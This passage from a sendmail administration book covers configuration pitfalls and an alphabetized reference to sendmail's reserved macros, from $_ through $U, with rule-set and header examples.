  • Macros that are given values while sendmail processes mail may not get the value expected. If that happens, careful hand-tracing of rule sets is required to find the fault. For example, the value in $g (see Section 31.10.16, $g) is the result of sender address rewriting and rewriting by the rule set that is specified in the S= equate of the selected delivery agent. Because $g is used to define the From: header line, errors in that line should be traced through errors in the S= equate's rule set.

  • Macros can have other macros as their values. The sendmail program expands macros recursively. As a consequence, unintentional loops in macro definitions can cause sendmail to appear to hang and to eventually segmentation fault and core dump.

Previous: 31.8 Macros with the m4 Technique | sendmail | Next: 31.10 Alphabetized Reference
31.8 Macros with the m4 Technique | Book Index | 31.10 Alphabetized Reference


[Chapter 31] 31.10 Alphabetized Reference

sendmailSearch this book
Previous: 31.9 Pitfalls Chapter 31
Defined Macros 		Next: 32. Class Macros

31.10 Alphabetized Reference

The sendmail program reserves all lowercase letters, punctuation characters, and digits for its own use. For multicharacter names it reserves all those that begin with an underscore or a lowercase letter. Table 31.7 lists all the macro names that have special internal meaning to sendmail. Included in this list are macros that are used by the m4 configuration technique. [9]

[9] Note that these are the exception to the usual rule in that they are all uppercase letters. In a way this makes sense, because they are being used by the configuration file, not by the internals of the sendmail program.

Table 31.7: Reserved Macros
Macro |  | Description
$_ | Section 31.10.1 | RFC1413-validation & IP source route (V8.1 and above)
$a | Section 31.10.2 | The origin date in RFC822 format
$b | Section 31.10.3 | The current date in RFC822 format
${bodytype} | Section 31.10.4 | The ESMTP BODY parameter
$B | Section 31.10.5 | The BITNET relay
$c | Section 31.10.6, $c | The hop count
${client_addr} | Section 31.10.7 | The connecting host's IP address
${client_name} | Section 31.10.8 | The connecting host's canonical name
$C | Section 31.10.9 | The hostname of the DECnet relay (m4 technique)
$d | Section 31.10.10 | The current date in UNIX ctime(3)
$e | Section 34.8.65 | SMTP greeting message (V8.6 and earlier)
${envid} | Section 31.10.12 | The original DSN envelope ID (V8.8 and above)
$E | Section 31.10.13 | X.400 relay (unused) (m4 technique)
$f | Section 31.10.14, $f | The sender's address
$F | Section 31.10.15 | FAX relay (m4 technique)
$g | Section 31.10.16 | The sender's address relative to recipient
$h | Section 31.10.17, $h | Host part of the recipient address
$H | Section 31.10.18 | The mail hub (m4 technique)
$i | Section 31.10.19, $i | The queue identifier
$j | Section 31.10.20 | Official canonical name
$k | Section 31.10.21 | UUCP node name (V8.1 and above)
$l | Section 34.8.72 | UNIX From format (V8.6 and earlier)
$L | Section 31.10.23 | Local user relay (m4 technique)
$m | Section 31.10.24 | The DNS domain name (V8.1 and above)
$M | Section 31.10.25 | Who we are masquerading as (m4 technique)
$n | Section 31.10.26 | Error message sender
$o | Section 34.8.45 | Token separation characters (V8.6 and earlier)
${opMode} | Section 31.10.28 | The startup operating mode (V8.7 and above)
$p | Section 31.10.29, $p | The sendmail process ID
$q | Section 31.10.30 | Default form of the sender address (V8.6 and earlier)
$r | Section 31.10.31 | The protocol used
$R | Section 31.10.32 | The relay for unqualified names (m4 technique)
$s | Section 31.10.33 | Sender host's name
$S | Section 31.10.34 | The Smart Host (m4 technique)
$t | Section 31.10.35 | Current time in seconds
$u | Section 31.10.36, $u | Recipient's username
$U | Section 31.10.37 | The UUCP name to override $k
$v | Section 31.10.38 | The sendmail program's version
$V | Section 31.10.39 | The UUCP relay (for class $=V) (m4 technique)
$w | Section 31.10.40 | The short name of this host
$W | Section 31.10.41 | The UUCP relay (for class $=W) (m4 technique)
$x | Section 31.10.42 | The full name of the sender
$X | Section 31.10.43 | The UUCP relay (for class $=X) (m4 technique)
$y | Section 31.10.44, $y | Name of the controlling TTY
$Y | Section 31.10.45 | The UUCP relay for unclassified hosts
$z | Section 31.10.46, $z | Recipient's home directory
$Z | Section 31.10.47 | The version of this m4 configuration (m4 technique)

The following pages present a complete reference for each reserved macro. They are presented in alphabetical order for ease of lookup, rather than in the order in which they typically appear in configuration files.

31.10.1 $-

RFC1413-validation and IP source route

(V8.1 and above)

RFC1413, Identification Protocol, describes a method for identifying the user and host that initiate network connections. [10] It relies on the originating host, which must be running the identd(8) daemon.

[10] Bugs in Ultrix and OSF/1 (and maybe others) break the ident protocol. For an explanation, see conf.h.

When the V8 sendmail daemon receives a network connection request (and if Timeout.ident option, see Section 34.8.70.10, "Timeout.ident", is nonzero), it attempts to connect to the originating host's identd service. If the originating host supports identification, sendmail reads the login name of the user who initiated the connection. The sendmail program then appends an @ and the name of the originating host to it. If the name of the originating host is an IP number in square brackets, sendmail attempts to convert the number to a hostname. The final result, in the form user@host, is assigned to $_.

When sendmail is run on the local machine, it sets $_ to be the name of the user that corresponds to the uid of the process that ran sendmail. It gets that name by calling getpwuid(3). If the call fails, the name is set to the string:

Unknown UID: num

Here, num is the uid for which a login name could not be found.

Next, an @ and the name of the local machine are appended to the name, and the result is assigned to $_.

Beginning with V8.7 sendmail, attempts at IP source routing can also be stored in this macro. If sendmail was compiled with IP_SRCROUTE defined, that IP source routing information will be added to $_ after the user and host described above. The format of this additional information is described in Section 18.8.13, IP-SRCROUTE.

The $_ macro is not used by sendmail. Rather, it is offered as a means for the administrator to use authentication information. One possibility would be to include it in the Received: header:

HReceived: $?sfrom $s $.$?_($_) $.by $j ($v/$Z) id $i; $b

Another possibility is to customize checkcompat() in conf.c. One might, for example, wish to reject any mail in which the host part of $_ does not match the contents of $s (see Section 31.10.33). Section 20.2.4, "Verify identd Information" shows an example of how to code this.

31.10.2 $a

The origin date in RFC822 format

(All versions)

The $a macro holds the origin date of a mail message (the date and time that the original message was sent). It holds a date in ARPAnet format, defined in RFC822, section 5.1, and amended by RFC1123, section 5.2.14.

The sendmail program obtains that date in one of the following four ways:

  • When sendmail first begins to run, it presets several date-oriented macros internally to the current date and time. Among those are the macros $t, $d, $b, and $a. This initialization is done after the configuration file is read, so all but $b may be given initial values in that file.

  • Whenever sendmail collects information from the stored header of a message (whether after message collection, during processing of the queue, or when saving to the queue), it sets the value of $a. If a Posted-Date: header exists, the date from that line is used. Otherwise, if a Date: header exists, that date is used. Note that no check is made by sendmail to ensure that the date in $a is indeed in RFC822 format. Of necessity it must trust that the originating program has adhered to that standard.

  • When sendmail notifies the user of an error, it takes the origin date from $b (the current date in RFC822 format, and places that value into $a.

$a is chiefly intended for use in configuration-file header definitions. It may also be used in delivery agent A= equates (argument vectors), although it is of little value in that case.

$a is transient. If defined in the configuration file or in the command line, that definition may be ignored by sendmail. .

31.10.3 $b

The current date in RFC822 format

(All versions)

The $b macro contains the current date in ARPAnet format, as defined in RFC822, section 5.1, and amended by RFC1123, section 5.2.14.

Because $b holds the current date and time, sendmail frequently updates the value in that macro. When sendmail first starts to run, it places the current date and time into $b. Thereafter, each time an SMTP connection is made and each time the queue is processed, the value of the date and time in that macro is updated.

If the system call to time(3) should fail, the value stored in $b becomes Wed Dec 31 15:59:59 1969, [11] and no other indication of an error is given.

[11] The actual time depends on the local time zone.

$b is chiefly intended for use in configuration-file header definitions that require ARPAnet format (such as Received:, see Section 35.10.25, Received:). It may also be used in delivery agent A= equates (argument vectors), although it is of little value in that case.

$b is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.4 ${bodytype}

The ESMTP BODY parameter

(V8.8 and above)

MIME (multimedia) support in V8 sendmail has been coupled to ESMTP (Extended SMTP) of the new BODY parameter for the MAIL command. That parameter tells sendmail whether it is dealing with 7-bit or 8-bit MIME data:

MAIL From: <address> BODY=7BIT
MAIL From: <address> BODY=8BITMIME

The parameter specified for the BODY (7BIT or 8BITMIME) is the value stored in the ${bodytype} macro.

The ${bodytype} macro is intended to be used as part of the delivery agent's A= equate (see Section 30.4.1, A=). It provides a means to pass this information to delivery agent programs as part of their command lines.

${bodytype} is transient. If defined in the configuration file or in the command line, that definition may be ignored by sendmail. Note that the -B command-line switch (see Section 36.7.1, -B) can be used to specify a value to be stored in ${bodytype}, but that value too is transient.

31.10.5 $B

The BITNET relay

(m4 technique)

When configuring with the m4 technique, you can specify a host that will transfer mail between the Internet and BITNET. Mail to BITNET may then be sent by appending the pseudo-domain .BITNET to an address. For example,

user@ucbicsi.BITNET

Here, ucbicsi is a BITNET host.

To allow your configuration file to handle this form of address, you need to declare the name of your BITNET relay using the BITNET_RELAY keyword:

define(`BITNET_RELAY', `relayhost')dnl

This statement causes the rule for BITNET to be included in your configuration file and causes relayhost to be assigned as the value of $B. (See Section 19.4.5, "Relays" for a description of how to include a delivery agent specification with relayhost.)

See also bitdomain FEATURE (see Section 19.6.9, FEATURE(bitdomain)) for a way to convert BITNET addresses to Internet addresses for hosts that have both.

31.10.6 $c

The hop count

(All versions)

The c macro is used to store the number of times a mail message has been forwarded from site to site. It is a count of the number of Received:, Via:, and Mail-From: header lines in a message.

The value in $c is not used by sendmail. Rather, it is made available for use in configuration-file header line definitions. When calculating the hop count for comparison to the MaxHopCount (h) option (see Section 34.8.36, MaxHopCount (h)), sendmail uses internal variables.

$c is transient. If defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.7 ${client-addr}

The connecting host's IP address

(V8.8 and above)

The ${client_addr} macro is assigned its value when a host connects to the running daemon. The value assigned is the IP address of that connecting host and is the same as the IP address stored in the $_ macro, but without the surrounding square brackets and other non-IP information.

The ${client_addr} macro can be useful in the check_rcpt (see Section 29.10.1, "The check_mail Rule Set") and check_mail (see Section 29.10.2, "The check_rcpt Rule Set") rule sets. It can, for example, be used detect whether an external host is trying to send external mail through your outgoing firewall machine.

D{ourdomain}123.45.6
Scheck_mail
R$*                 $: $(dequote "" $&{client_addr} $)
R${ourdomain}.$-    $@ Okay our domain
R$*                 $#error $@ 5.7.1 $: "cannot send out from the outside"

Here, the first rule transfers the value of ${client_addr} into the workspace. The $& prefix (see Section 31.5.3, "Use Value as Is with $&") prevents that macro from wrongly being expanded when the configuration file is read. The second rule compares the domain part of your IP domain (that of your internal network) to the workspace. If they match, the connection is from a host in your internal domain space. If not, an error is generated in response to the SMTP MAIL command.

Note that this rule set rejects all mail coming from outside your network, which may be overkill (depending, of course, on what you want). It is really useful only at sites that have two firewalls, one for incoming traffic and one for outgoing traffic. This rule set might go on the outgoing firewall.

${client_addr} is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail. Note that ${client_addr} is not guaranteed to be available in the check_compat rule set (see Section 29.10.4, "The check_compat Rule Set") or in the check_relay rule set (see Section 29.10.3, "The check_relay Rule Set").

31.10.8 ${client-name}

The connecting host's canonical name

(V8.8 and above)

The ${client_name} macro is assigned its value when a host connects to the running daemon. This macro holds as its value, the canonical hostname of that connecting host, which is the same as the hostname stored in the $_ macro.

The ${client_name} macro is useful in the check_rcpt (see Section 29.10.1) and check_mail (see Section 29.10.2) rule sets. It can, for example, be used to see whether the connecting host is your firewall machine:

D{firewall}fw.our.domain
Scheck_mail
R$*                     $: $(dequote "" $&{client_name} $)
R${firewall}            $@ Okay our firewall machine
R$*                     $#error $@ 5.7.1 $: "can only accept from our firewall"

Here, the first rule transfers the value of ${client_name} into the workspace. The $& prefix (see Section 31.5.3) prevents that macro from wrongly being expanded when the configuration file is read. The second rule compares the name of the firewall to that workspace. If they match, the connecting host was indeed the firewall machine.

${client_name} is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail. Note that ${client_name} is not guaranteed to be available in the check_compat rule set (see Section 29.10.4) or in the check_relay rule set (see Section 29.10.3).

31.10.9 $C

The DECnet relay

(m4 technique)

DECnet addresses are of the form node::user. They can be handled by defining a host that will relay them into your DECnet network. Using the m4 technique, you enable DECnet like this:

define(`DECNET_RELAY', `relay_host')dnl

Mail addressed to node::user will then be forwarded to relay_host, as will any Internet-style addresses that end in the pseudo-domain .DECNET, such as user@domain.DECNET. $C holds the name of the relay_host. (See Section 19.4.5 for a description of how to include a delivery agent specification with relay_host.)

31.10.10 $d

The current date in UNIX ctime(3) format

(All versions)

The $d macro holds the current date and time. $d is given its value at the same time $a is defined. The only difference between the two is that $a contains the date in RFC822 format, whereas $d contains the same date in UNIX ctime(3) format.

The form of a date in ctime(3) format is generally [12]

[12] The format produced by ctime(3) varies depending on the area of the world.

Sun Dec 26 01:03:52 1999\n

When sendmail stores this form of date into $d, it converts the trailing newline (the \n) into a zero, thus stripping the newline from the date.

31.10.11 $e

The SMTP greeting message

(V8.6 and earlier)

Prior to V8.7 sendmail the $e macro was used to hold the SMTP greeting message. That role has been taken over by the SmtpGreetingMessage option. See Section 34.8.65 for a description of both this $e macro and that new option.

31.10.12 ${envid}

The original DSN envelope ID

(V8.8 and above)

RFC1891 specifies that the keyword ENVID may be given to the MAIL ESMTP command:

MAIL From: <address> ENVID=envelopeID

ENVID is used to propagate a consistent envelope identifier (distinct from the Message-ID: header; see Section 35.10.19, Message-ID:), that will be permanently associated with the message. The envelopeID may contain any ASCII characters between ! and ~, except + and =. Any characters outside that range must be encoded by prefixing an uppercase, two-digit, hexadecimal representation of it with a plus. For example, an envelopeID composed of the letter X followed by a delete character would be encoded like this:

X+7F

When mail is received over an SMTP channel and an ENVID identifier is specified, that identifier is saved as part of the envelope information. The value of the ENVID identifier is saved in and restored from the qf file's Z line (see Section 23.9.17, Z line). For bounced mail, the ENVID identifier is printed with the Original-Envelope-Id: DSN header (see RFC1894) as part of the DSN MIME body. Beginning with V8.8 sendmail, an ENVID identifier can also be assigned to a message with the -V command-line switch (see Section 36.7.40, -V).

When mail is delivered, the value of the envelope's ENVID identifier is saved in the ${envid} macro. That macro is available for use with delivery agents that understand DSN.

${envid} is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.13 $E

X.400 relay

(m4 technique)

The $E macro is reserved for the future use of the m4 technique. It will be used to hold the name of the X.400 relay.

31.10.14 $f

The sender's address

(All versions)

The $f macro is used to hold the address of the sender. That address can be obtained by sendmail from any of a variety of places:

  • During an SMTP conversation the sending host specifies the address of the sender by issuing a MAIL SMTP command.

  • Trusted users are those declared as part of the t class (see Section 32.5.7, $=t). [13] Those users, and programs running under the identity of those users, may specify the address of the sender by using the -f command-line switch when running sendmail.

    [13] Prior to V8.1 this was set with a T configuration command. This feature was eliminated in versions V8.1 through V8.6 and restored in V8.7.

  • In processing a message from the queue, the sender's address is taken from the qf file's S line.

  • In processing bounced mail, the sender becomes the name specified by the value of $n, usually mailer-daemon.

  • In the absence of the above, sendmail tries to use the user identity of the invoking program to determine the sender.

Once sendmail has determined the sender (possibly aliased), it rewrites the address found with rule sets 3, 1, and 4. The rewritten address is then made the value of $f.

$f is intended for use in both configuration-file header commands and delivery agent A= equates. $f differs from $g in that $g undergoes additional processing to produce a true return address. When sendmail queues a mail message and when it processes the queue, the values in $f and $g are identical.

$f is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.15 $F

The FAX relay

(m4 technique)

At many sites, faxes can be sent via email. When the host that dispatches those faxes is not the local host, you need to relay FAX mail to the host that can dispatch faxes. This ability is enabled by defining that relay host with the m4 technique:

define(`FAX_RELAY', `relay_host')dnl

This causes all mail that ends with the pseudo domain .FAX to be forwarded to relay_host. It also assigns the value relay_host to $F. (See Section 19.4.5 for a description of how to include a delivery agent specification with relay_host.)

31.10.16 $g

The sender's address relative to recipient

(All versions)

The $g macro is identical to $f except that it undergoes additional rule-set processing to translate it into a full return address. During delivery the sender's address is processed by rule sets 3, 1, and 4 and then placed into $f. That rewritten address is further processed by 3 and 1 again, then custom rewritten by the rule set specified in the S= equate of the delivery agent. Finally, it is rewritten by rule set 4, and the result is placed into $g.

$g holds the official return address for the sender. As such, it should be used in the From: and Return-Path: header definitions.

The S= equate for each delivery agent must perform all necessary translations to produce a value for $g that is correct. Because the form of a correct return address varies depending on the delivery agent, other rule sets should generally not be used for this translation.

Ordinarily, RFC822 comments (see Section 35.3.4, "Comments in the Header Field") are restored when $g is used in headers. To omit those comments (perhaps for security reasons), you may use the F=c delivery agent flag (see Section 30.8.14, F=c).

$g is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.17 $h

Host part of the recipient address

(All versions)

Rule set 0 (see Section 29.6, "Rule Set 0") is used to resolve the recipient address into a triple: the delivery agent (with $#), the host part of the address (with $@), and the recipient user's name (with $:). The host part, from the $@, is made the value of $h. Once $h's value has been set, it undergoes no further rule-set parsing.

$h is intended for use in the A= equate (see Section 30.4.1) of delivery agent definitions. Normally, it is converted to all lowercase before use, but that conversion can be suppressed with the F=h delivery agent flag (see Section 30.8.23, F=h).

$h is transient. If defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.18 $H

The mail hub

(m4 technique)

The m4 nullclient feature (see Section 19.6.20, FEATURE(nullclient)) causes all mail to be sent to a central hub machine for handling. Part of what it does is to define the m4 macro MAIL_HUB:

define(`MAIL_HUB', `hub')dnl

This also causes $H to be defined as hub. If $H has a value, and if $R (the LOCAL_RELAY, see Section 31.10.32) does not, all local email is forwarded to hub. If $R is defined it takes precedence over $H for some mail. See Section 19.6.41, MAIL-HUB for a description of MAIL_HUB and how it interacts with LOCAL_RELAY.

31.10.19 $i

The queue identifier

(All versions)

Each queued message is identified by a unique identifier (see Section 23.2.1, "The Queue Identifier"). The $i macro contains as its value that identifier. Prior to V8.6 sendmail, $i had a value assigned to it only when a file was first placed into the queue. Beginning with V8.6 sendmail, $i is also given a value when the queue file is processed.

$i is not used by sendmail internally. It should be trusted for use only in the Received: and Message-ID: headers.

31.10.20 $j

Our official canonical name

(All versions)

The j macro is used to hold the fully qualified domain name of the local machine. It must be defined in the configuration file. [14]

[14] Except in V8 sendmail, where $j is automatically defined to be the fully qualified canonical name of the local host. However, it is still possible to redefine $j if necessary, for example, if sendmail cannot figure out your fully qualified canonical name or if your machine has multiple network interfaces and sendmail chooses the name associated with the wrong interface.

A fully qualified domain name is one that begins with the local hostname, which is followed by a dot and all the components of the local domain.

The hostname part is the name of the local machine. That name is defined at boot time in ways that vary with the version of UNIX.

The local domain refers to the DNS domain, not to the NIS domain. If DNS is running, the domain is defined in the /etc/resolv.conf file, for example,

domain wash.dc.gov

At many sites the local hostname is already fully qualified. To tell whether your site uses just the local hostname, run sendmail with a -d0.4 switch:

% /usr/lib/sendmail -d0.4 -bt < /dev/null
... some output here
canonical name: wash              <-  not fully qualified
canonical name: wash.dc.gov       <-  fully qualified

The j macro is used in two ways by sendmail. Because $j holds the fully qualified domain name, sendmail uses that name to avoid making SMTP connections to itself. It also uses that name in all phases of SMTP conversations that require the local machine's identity. One indication of an improperly formed $j is the following SMTP error:

553 wash.dc.gov.dc.gov host name configuration error

Here, $j was wrongly defined by adding the local domain to a $w that already included that domain:

# Our domain
DDdc.gov
# Our fully qualified name
Dj$w.$D

One way to tell whether $j contains the correct value is to send mail to yourself. Examine the Received: headers. The name of the local host must be fully qualified where it appears in them:

Received: by wash.dc.gov    ...other text here

             must be a fully qualified domain name

$j is also used: in the Message-Id: header definition; and as the canonical host-name following .IX HELO the HELO or EHLO command.

For all but V8 sendmail, $j must be defined in the configuration file. For V8 it is automatically defined. It must never be defined in the command line. $j must appear at the beginning of the definition of the SmtpGreetingMessage option (formerly $e, see Section 34.8.65). In using SunOS sendmail.mx, $w must also be the fully qualified domain name.

31.10.21 $k

Our UUCP node name

(V8.1 and above)

The UUCP suite of software gets the name of the local host from the uname(2) system call, whereas sendmail gets the name of the local host from the gethostbyname(3) system call. For sendmail to easily handle UUCP addresses, V8 sendmail also makes use of the uname(2) function.

First the host part of the fully qualified name returned by gethostbyname(3) is saved as the first string in the class $=w. Then uname(2) is called. If the call succeeds, the macro $k and the class k are both given the nodename value returned. If the call fails, both are given the same hostname value that was given to the $j. If the system does not have uname(2) available (if HASUNAME was not defined when sendmail was compiled; see Section 18.8.9, HAS...), sendmail simulates it. The sendmail program's internal replacement for uname begins by reading /etc/whoami. If that file does not exist or cannot be read, sendmail scans /usr/include/whoami.h for a line beginning #define sysname. If that fails and if sendmail was compiled with TRUST_POPEN [15] defined (see Section 18.8.51, TRUST-POPEN), sendmail executes the following command and reads its output as the UUCP node name:

[15] TRUST_POPEN is a security risk. Instead of defining it, consider creating an /etc/whoami file and populating it or defining $k directly in your configuration file.

uname -l

If all these fail, $k is set to be the same as $j.

$k is assigned its value when sendmail first begins to run. It can be given a new value either in the configuration file or from the command line. The -d0.22 debugging switch (see Section 37.5.6, -d0.22) can be used to watch uname() fail.

31.10.22 $l (lowercase L)

The From format

(V8.6 and earlier)

Prior to V8.7 sendmail, the l macro was used to define the look of the five character "From " header, and the format of the line was used to separate one message from another in a file of many mail messages. This role has been assumed by the UnixFromLine option. See Section 34.8.72 for a description of both this l macro and that new option.

31.10.23 $L

The Unknown Local User relay

(m4 technique)

A local user is one who evaluates to delivery on the local machine, even after aliasing. By defining LUSER_RELAY:

define(`LUSER_RELAY', `relay_host')dnl

any username that is not found in the passwd(5) file will be forwarded to relay_host. This check is made after aliasing but before processing of the ~/.forward file. The relay_host is assigned to the $L macro. The m4 technique then adds rules to rule set 5 of the configuration file that cause the user to be looked up with the user database class (see the name keyword for that class in Section 33.8.20, user). If the user's name is not found, the message is forwarded to the host defined by $L. (See Section 19.4.5 for a description of how to include a delivery agent specification with relay_host.)

31.10.24 $m

Domain part of hostname

(V8.1 and above)

Under V8 sendmail [16] the $m macro is used to store the domain part of the local host's fully qualified name. A fully qualified name begins with the local hostname followed by a dot and all the components of the local DNS domain.

[16] $m is the NIS domain for pre-V8 versions of Sun sendmail, and $m is the original user address for IDA sendmail.

The value in $m is derived from $w. When V8 sendmail first starts to run, it calls gethostname(3) to get the name of the local machine. If that call fails, it sets that local name to be localhost. Then sendmail calls gethostbyname(3) to find the official name for the local host, which is assigned to $w as that macro's initial value. V8 sendmail then looks for the leftmost dot in $w. If it finds one, everything from the first character following that dot to the end of the name then becomes the value for $m:

host.domain

     domain part made the value of $m

$m is initialized before the configuration file is read. Consequently, it may be redefined in the configuration file or as a part of the command line.

31.10.25 $M

Whom we are masquerading as

(m4 technique)

When you define MASQUERADE_AS using the m4 configuration technique, you both enable masquerading (see Section 19.6.42, MASQUERADE-AS) and assign that hostname to this $M macro. Note that defining $M will not enable masquerading. You must use the MASQUERADE_AS m4 configuration command to enable this service.

31.10.26 $n

The error message sender

(All versions)

The $n macro contains the name of the person from whom failed mail is returned. Traditionally, that value is the name mailer-daemon.

When delivery fails and notification of that failure is being prepared to be sent to the originating sender, sendmail "fakes up" a header. That header prepends the original header (and any included error messages). The sender of the error mail message (and the sender in the envelope) is taken from $n.

The n macro must contain either a real user's name or a name that resolves to a real user through aliasing. If sendmail cannot resolve $n to a real user, the following message is logged, and the returned error mail message is saved in /usr/tmp/dead.letter (see Section 18.8.34, PATH...):

Can't parse myself!

When an error mail message is sent, $f (see Section 31.10.14) is given the value of $n. Prior to V8.7, $n must be defined in the configuration file. Beginning with V8.7 sendmail, $n is automatically defined as MAILER-DAEMON when sendmail first starts up.

31.10.27 $o

Token separation operators

(V8.6 and earlier)

Prior to V8.7 the $o macro stored as its value a sequence of characters, any one of which could be used to separate the components of an address into tokens (see Section 8.3, "Rule Sets"). That role has been taken over by the V8.7 OperatorChars option (see Section 34.8.45).

For backward compatibility the $o macro is still honored by V8.7 sendmail in pre-version 7 configuration files (see Section 27.5, "The V Configuration Command").

31.10.28 ${opMode}

The startup operating mode

(V8.7 and above)

Beginning with V8.7, the ${opMode} holds as its value the operating mode that sendmail was started with. The operating mode is set with the -b command line switch (see Section 36.7.2, -b). For example, if sendmail were started as a daemon with -bd, the value in ${opMode} would become d.

Once set, ${opMode} retains its initial value as long as sendmail runs. It can be changed only by defining it in the configuration file. Currently, ${opMode} is used only in rule sets by the m4 redirect FEATURE (see Section 19.6.21, FEATURE(redirect)).

31.10.29 $p

The sendmail process id

(All versions)

The p macro contains the process ID of the sendmail that executes the delivery agent. Every process (running program) under UNIX has a unique identification number associated with it (a process ID). Process IDs are necessary to differentiate one incantation of a program from another. The sendmail program fork(2)'s often to perform tasks (like delivery) while performing other tasks (such as listening for incoming SMTP connections). All copies share the name sendmail; each has a unique process ID number.

$p is intended for use in header definitions but may also be used in the A= equate (see Section 30.4.1) of delivery agents.

$p is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.30 $q

The default format of the sender's address

(V8.6 and earlier)

Prior to V8.7 the q macro was used to specify the form that the sender's address would take in header definitions. It was most often used in the From: and Resent-From: header lines.

The definition of $q had to adhere to the standard form of addresses as defined by RFC822. It had to contain just an address or an address and a comment. The traditional definitions of $q were

Dq<$g>          <-  as <george@wash.dc.gov>
Dq$g            <-  as george@wash.dc.gov

Dq$x <$g>       <-  as George Washington <george@wash.dc.gov>
Dq$g ($x)       <-  as george@wash.dc.gov (George Washington)

The full name is not always known and so $x can be undefined - pty). As a consequence, when the full name was included in the q macro definition, it was often wrapped in a conditional test:

Dq$g$?x ($x)$.
Dq$?x$x $.<$g>

Of these the second form was recommended for clients that forward all mail to a central mail-handling machine. If the full name was unknown locally, the header and envelope were identical and bracketed:

From: <user@slave.domain>           <-  header
MAIL From: <user@slave.domain>      <-  envelope

At the central mail-handling machine, both versions of the From: address were recognized as identical (only if the address was bracketed). As a consequence, the central machine deleted and recreated the From: line and added the full name if known.

Prior to V8.7, $q had to be defined in the configuration file because it was used to define the fields of the Resent-From: and From: headers (see Section 35.10.14, From:). Beginning with V8.7 sendmail, those headers are defined by using the $g and $x macros directly. For example,

H?F?Resent-From: $?x$x <$g>$|$g$.
H?F?From: $?x$x <$g>$|$g$.

To redefine them, you must either edit your configuration file or add new definitions to the LOCAL_CONFIG section of your mc file (see Section 19.6.30, LOCAL-CONFIG):

LOCAL_CONFIG
divert(9)
H?F?From: $?x$x $.<$g>
divert(0)

The divert() statements force the new header definitions to follow the default definitions, thus replacing them.

31.10.31 $r

The protocol used

(All versions)

The $r macro stores the name of the protocol that is used when a mail message is first received. If mail is received via SMTP or ESMTP, $r is set accordingly. Incoming UUCP mail sets $r to "UUCP" (using the -p switch). With V8.7, bounced mail will now assign $r the value "internal."

$r is intended for use in the Received: header definition:

HReceived: $?sfrom $s $.by $j$?r with $r$. id $i

The value in $r is saved to the qf file when the mail message is queued, and it is restored to $r when the queue is later processed.

$r is transient. It may be defined on the command line but should not be defined in the configuration file. Under V8 the -p switch (see Section 36.7.32) is the recommended way to assign a value to $r.

31.10.32 $R

The relay for unqualified names

(m4 technique, deprecated)

Using the m4 configuration technique, the $R macro stores the hostname defined by LOCAL_RELAY (see Section 19.6.31, LOCAL-RELAY). If $H has a value and if $R does not, all local email is forwarded to hub defined for $H. If $R is defined, it takes precedence over $H for some mail. See Section 19.6.41 for a description of MAIL_HUB and how it interacts with LOCAL_RELAY.

31.10.33 $s

The sender host's name

(All versions)

The $s macro contains the name of the sender's machine (host). $s is given the name of the local host as its value when sendmail starts, unless the -p command line switch (see Section 36.7.32) is used, in which case $s is given the value specified by that switch. Thereafter, $s is given a new value by sendmail only if the mail message was received via SMTP. For bounced mail, the $s value is always localhost.

The s macro is intended for use in the Received: header definition:

HReceived: $?sfrom $s $.by $j$?r with $r$. id $i

The phrase from host will be included in this header line if $s has any value. Here, host is the name of the sending machine.

The value in $s is saved to the qf file when the mail message is queued and restored to $s when the queue is later processed.

$s is transient. It may be defined on the command line but should not be defined in the configuration file.

31.10.34 $S

The Smart Host

(m4 technique)

Using the m4 configuration technique the $S macro stores the hostname defined by SMART_HOST (see Section 19.6.47, SMART-HOST). The smart host is the name of the host that can deliver all mail that the local host cannot. $S is most often used with UUCP sites to get DNS mail to the outside world.

31.10.35 $t

The current time in seconds

(All versions)

The $t macro contains the current date and time represented as an integer. The value of $t is set in two places:

  • When sendmail first begins to run, it presets several date-oriented macros internally to the date and time it was run. Among those are the $a, $d, $b, and $t macros. This initialization is done after the configuration file is read.

  • Each time a new envelope is created, the $d, $b, and $t macros are given a default that is the current time.

$t is intended for use in configuration-file header definitions. $t is transient. If it is defined in the configuration file or in the command line, that definition may be ignored by sendmail.

31.10.36 $u

The recipient's username

(All versions)

Rule set 0 (see Section 29.6) is used to resolve the recipient address into a triple: the delivery agent (with $#), the host part of the address (with $@), and the recipient's username (with $:). The recipient's username is then processed by rule set 2 (the generic rule set for all recipient addresses), then by the rule set indicated by the R= equate of the delivery agent (the custom recipient address processing), and finally by rule set 4 (postprocessing for all addresses).

If the delivery agent has the F=A flag set (see Section 30.8.12, F=A), that rewritten recipient's username is looked up in the aliases file and replaced with its alias if one exists. If it is not replaced and if the F=5 flag (see Section 30.8.3, F=5) is set, the address is rewritten by rule set 5 to possibly pick a new delivery agent and repeat this process. [17]

[17] Prior to V8.7 this behavior was all tied to the local delivery agent.

After aliasing, the rewritten recipient's username is then assigned to $u. If the delivery agent's F=w flag (see Section 30.8.43, F=w) is set, [18] the value of $u is then used to look up information about that user with getpwent(3). The user's home directory from pw_dir is made the value of the $z and used to access that user's ~/.forward and dead.letter files.

[18] Prior to V8.7, looking up the user's home directory was tied to the local delivery agent.

For all delivery agents the final value of $u may be used as a component of the delivery agent's A= (see Section 30.4.1) equate. For example,

A=uux - $h!rmail ($u)

Note that $u is special (see Section 30.4.1.3, "$u in A=") in delivery agent A= equates. If it is absent, sendmail speaks SMTP. If it is present and the F=m flag (see Section 30.8.30, F=m) is also pres-nt, the argument containing $u is repeated as many times as there are recipients.

In V8 sendmail, $u is also set to the original recipient (prior to aliasing) while the message headers are first being read. Therefore the original recipient information is available for use in the Received: header line. [19]

[19] In this use, V8's $u is similar to IDA's $m.

$u is transient. If it is defined in the configuration file or in the command line, that definition is ignored by sendmail.

31.10.37 $U

The UUCP name to override $k

(m4 technique)

When configuring with the m4 technique, you can include support for UUCP by using the MAILER(uucp) command (see Section 19.3.2, "MAILER()") in your mc file. With that support, you can override the use of $k (see Section 31.10.21) with a hostname of your choosing when prefixing a string of hosts with the local hostname:

here!lady!sonya!user

insert local host name here

If $U has a value, its value will be inserted. If it lacks a value, $k will be inserted.

